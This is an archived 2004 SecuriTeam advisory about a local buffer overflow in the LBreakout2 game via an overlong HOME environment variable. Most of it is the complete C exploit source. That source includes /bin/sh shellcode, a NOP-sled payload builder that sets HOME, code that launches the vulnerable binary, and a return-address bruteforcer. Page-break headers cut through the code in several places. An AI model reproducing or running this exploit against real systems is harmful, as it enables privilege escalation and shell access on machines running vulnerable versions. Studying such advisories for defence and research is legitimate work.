

[EXPL] LBreakout2 (Long HOME Environment Variable)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-02/0072.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 02/25/04

To: list@securiteam.com

Date: 25 Feb 2004 15:52:24 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

LBreakout2 (Long HOME Environment Variable)

SUMMARY

About <<http://lgames.sourceforge.net/index.php?project=LBreakout2>>

LBreakout2: "The successor to LBreakout offers you a new challenge in more than 50 levels with loads of new bonuses (goldshower, joker, explosive balls, bonus magnet ...), maluses (chaos, darkness, weak balls, malus magnet ...) and special bricks (growing bricks, explosive bricks, regenerative bricks ...)". A buffer overflow in LBreakout allows a malicious user to overflow an internal buffer in the program causing it to execute arbitrary code.

DETAILS

Vulnerable Systems:

* breakout2 version 2.4beta-2 and below

Immune Systems:

* lbreakout version 2-2.5beta-3

Vendor Status:

Upgrade to the newest version:

Securiteam: [EXPL] LBreakout2 (Long HOME Environment Variable)

<http://lgames.sourceforge.net/download.php?project=LBreakout2&url=http://ftp1.sourceforge.net/lgames/lbreakout2-lbreakout2-2.5beta-3.tar.gz>

Exploit Code:

```
/*
 * lbreakout2 < 2.4beta-2 local exploit by Li0n7@voila.fr
 * vulnerability reported by Ulf Harnhammar <
Ulf.Harnhammar.9485@student.uu.se>
 * usage: ./lbreakout2-exp [-r < RET>][ -b [-s < STARTING_RET>]]
 *
 */
```

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <errno.h>
```

```
#define BSIZE 200
#define D_START 0xbffffff
#define PATH "/usr/local/bin/lbreakout2"
```

```
void exec_vuln();
int tease();
int make_string(long ret_addr);
int bruteforce(long start);
void banner(char *argv);
```

```
char shellcode[]=
    "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
    "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
```

```
char *buffer,*ptr;
```

```
int
main(int argc,char *argv[])
{
    char * option_list = "br:s:";
    int option,brute = 0,opterr = 0;
    long ret,start = D_START;

    if (argc < 2) banner(argv[0]);

    while((option = getopt(argc,argv,option_list)) != -1)
        switch(option)
        {
            case 'b':
                brute = 1;
                break;
            case 'r':
```

Securiteam: [EXPL] LBreakout2 (Long HOME Environment Variable)

```
    ret = strtoul(optarg,NULL,0);
    make_string(ret);
    tease();
    exit(1);
    break;
case 's':
    start = strtoul(optarg,NULL,0);
    break;
case '?':
    fprintf(stderr,"[-] option \'%c\' invalid\n",optopt);
    banner(argv[0]);
    exit(1);
}

if(brute)
    bruteforce(start);

return 0;
}

void
exec_vuln()
{
    execl(PATH,PATH,NULL);
}

int
tease()
{
    pid_t pid;
    pid_t wpid;
    int status;

    pid = fork();

    if (pid == -1)
    {
        fprintf(stderr, "[-] %s: Failed to fork()\n",strerror(errno));
        exit(13);
    }
    else if (pid == 0)
    {
        exec_vuln();
    }
    else
    {
        wpid = wait(&status);
        if (wpid == -1)
        {
            fprintf(stderr,"[-] %s: wait()\n",strerror(errno));
            return 1;
        }
    }
}
```

Securiteam: [EXPL] LBreakout2 (Long HOME Environment Variable)

```
    }
    else if (wpid != pid)
        abort();
    else
    {
        if (WIFEXITED(status))
        {
            fprintf(stdout,"[+] Exited: shell's ret code =
%d\n",WEXITSTATUS(status));
            return WEXITSTATUS(status);
        }
        else if (WIFSIGNALED(status))
            return WTERMSIG(status);
        else
            fprintf(stderr,"[-] Stopped.\n");
    }
}
return 1;
}

int
make_string(long ret_addr)
{
    int i;
    long ret,addr,*addr_ptr;

    buffer = (char *)malloc(1024);
    if(!buffer)
    {
        fprintf(stderr,"[-] Can't allocate memory\n");
        exit(-1);
    }

    ret = ret_addr;

    ptr = buffer;

    memset(ptr,0x90,BSIZE-strlen(shellcode));
    ptr += BSIZE-strlen(shellcode);

    memcpy(ptr,shellcode,strlen(shellcode));
    ptr += strlen(shellcode);

    addr_ptr = (long *)ptr;
    for(i=0;i< 200;i++)
        *(addr_ptr++) = ret;
    ptr = (char *)addr_ptr;
    *ptr = 0;

    setenv("HOME",buffer,1);
    return 0;
}
```

Securiteam: [EXPL] LBreakout2 (Long HOME Environment Variable)

```
}

int
bruteforce(long start)
{
    int ret;
    long i;

    fprintf(stdout,"[+] Starting bruteforcing...\n");

    for(i=start;i< 0;i=i-50)
    {
        fprintf(stdout,"[+] Testing 0x%x...\n",i);
        make_string(i);
        ret=tease();
        if(ret==0)
        {
            fprintf(stdout,"[+] Ret address found: 0x%x\n",i);
            break;
        }
    }

    return 0;
}

void
banner(char *argv)
{
    fprintf(stderr,"lbreakout2 < 2.4beta-2 local exploit by
Li0n7@voila.fr\n");
    fprintf(stderr,"vulnerability reported by Ulf Harnhammar
<Ulf.Harnhammar.9485@student.uu.se>\n");
    fprintf(stderr,"usage: %s [-r <RET>][-b [-s <
STARTING_RET>]]\n",argv);
    exit(1);
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:Li0n7@voila.fr> li0n7.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.